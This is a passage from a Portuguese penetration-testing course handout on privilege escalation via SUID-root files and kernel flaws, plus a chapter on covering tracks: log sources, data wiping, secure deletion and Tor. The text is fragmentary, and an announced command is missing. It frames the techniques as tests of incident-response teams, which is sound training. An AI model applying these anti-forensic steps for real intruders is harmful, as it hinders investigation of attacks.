• Exploração de serviços que não são executados como root ou tem seu privilégio
“dropado”
Aplicações com suidroot é uma aplicação com uma permissão especial conhecida
por suid bit (“s”), que quando executada, será executada com privilégios do usuário
root. Portanto, se conseguirmos explorar um arquivo que possui esse tipo de permis-
são, provavelmente conseguiremos obter os privilégios do usuário root no sistema,
conseguindo assim controle total.
Para procurarmos por arquivos com suidroot na máquina, podemos executar o co-
mando abaixo:
Além de arquivos com suidroot, também podem ser exploradas falhas no kernel do
sistema, que é quem cuida dos privilégios dos usuários, e conseqüentemente, ga-
nharemos privilégios administrativos se a falha for explorada com sucesso.
Portanto, após identificarmos os arquivos que possuem esse tipo especial de per-
missão, precisamos identificar falhas de segurança nesses softwares. Essas falhas
podem ser públicas, ou seja, que é possível encontrar na internet, ou privada, que
pode ser comprada de um pesquisador ou empresa, ou até mesmo descoberta pelo
próprio atacante.
14.3 Laboratorio
Vamos fazer um laboratorio com uma das maquinas Kioptrix. Aguarde para ver em
aula.
Um dos objetivos, em um teste de invasão, de utilizar técnicas para encobrir seus ras-
tros e ações, é para testar a eficácia e competência do time de resposta a incidentes
e perícia forense caso os mesmos existam.
Não há necessidade desse tipo de ação por parte de um pentester, caso queira
deixar as evidências de exploração para posterior análise por parte da equipe de
Ti da empresa contratante. No entanto, caso tenha como objetivo testar, também,
a capacidade da equipe de perícia forense em investigar um caso de invasão, é
interessante implementar os passos estudados nesse capítulo
Logs de IDS - Onde são armazenadas todas as evidências de tráfego anormal que
tenha sido detectado na rede. Isso inclui desde o envio de arquivos maliciosos
à varreduras no sistema, em busca de informações.
Logs de Firewall - Logs que guardam as informações filtradas por regras de fi-
rewall.
Arquivos copiados no sistema - Qualquer arquivo que tenha sido copiado para o
sistema, mesmo que posteriormente seja apagado, deixa rastros que podem
ser recuperados com ferramentas específicas.
Linux Force – www.linuxforce.com.br Apagando Rastros
15.3 Técnicas
Quanto mais vezes aquele mesmo setor for sobreescrito, mais difícil se tornará
a recuperação das informações originalmente existentes. Esse método também
é conhecido como “wipe”.
Deleção segura de dados - Essa técnica está diretamente vinculada com a pri-
meira, de sobreescrita de dados. Todo e qualquer processo de deleção de
arquivos, deve ser cuidadoso, para que não seja possível a posterior recupera-
ção das informações.
15.4 Ferramentas
Tor (The Onion Router) - O Tor mantém o usuário livre de bisbilhoteiros, inclusive
os do FBI e os da CIA, e impede (ou dificulta bastante) qualquer tipo de rastre-
amento.
E é exatamente isso que o Tor oferece. Em vez de seguir uma rota direta en-
tre origem e destino, toda a informação transmitida por ele segue um caminho
randômico, que se altera permanentemente, através de diversos servidores vo-
luntários que cobrem a rota. Fica difícil para qualquer sistema saber quem você
é, onde você está ou de onde veio, embora seja possível saber o que você está
levando consigo.
Autores:
• Tuany Tabosa
• Myke Hamada
http://www.owasp.org/images/4/42/OWASP_TOP_10_2007_PT-BR.pdf
Sites pesquisados:
http://pt.wikipedia.org
http://tools.ietf.org
http://www.ipv6.br
http://www.torproject.org
http://www.openwall.com
http://www.ethicalhacker.net
http://www.owasp.org
http://cve.mitre.org
http://www.segurancaremota.com.br